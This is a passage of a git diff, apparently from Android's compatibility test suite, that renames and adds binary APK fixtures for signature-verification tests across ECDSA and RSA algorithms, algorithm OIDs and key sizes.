rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p256.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p521.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p521.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p256.apk
new file mode 100644
index 0000000..c289f6f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p384.apk
new file mode 100644
index 0000000..b979702
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p521.apk
new file mode 100644
index 0000000..9ab8bd4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p256.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p256.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p521.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-p521.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p256.apk
new file mode 100644
index 0000000..c24be65
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p384.apk
new file mode 100644
index 0000000..dc06637
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p521.apk
new file mode 100644
index 0000000..8194a87
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p256.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p256.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p521.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-p521.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p256.apk
new file mode 100644
index 0000000..ecd9287
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p384.apk
new file mode 100644
index 0000000..c2afc5a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p521.apk
new file mode 100644
index 0000000..62b86b2
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p256.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p256.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p521.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-p521.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-4096.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-1024.apk
new file mode 100644
index 0000000..4f248bd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-16384.apk
new file mode 100644
index 0000000..ee14de4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-2048.apk
new file mode 100644
index 0000000..d7c292f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-3072.apk
new file mode 100644
index 0000000..5d0d11a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-4096.apk
new file mode 100644
index 0000000..32e28a9
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-8192.apk
new file mode 100644
index 0000000..10163b6
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-4096.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-1024.apk
new file mode 100644
index 0000000..091cf6f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-16384.apk
new file mode 100644
index 0000000..4da371d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-2048.apk
new file mode 100644
index 0000000..43bb698
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-3072.apk
new file mode 100644
index 0000000..a4c2b15
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-4096.apk
new file mode 100644
index 0000000..806e0ea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-8192.apk
new file mode 100644
index 0000000..efb124b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-4096.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-8192.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-8192.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-1024.apk
new file mode 100644
index 0000000..37192c3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-16384.apk
new file mode 100644
index 0000000..357999a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-2048.apk
new file mode 100644
index 0000000..a8a6b15
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-3072.apk
new file mode 100644
index 0000000..5c7c901
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-4096.apk
new file mode 100644
index 0000000..2774259
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-4096.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-8192.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-8192.apk
new file mode 100644
index 0000000..1df393a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-8192.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-16384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-16384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-16384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-16384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-4096.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-4096.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-rsa-pkcs1-sha256-4096.apk
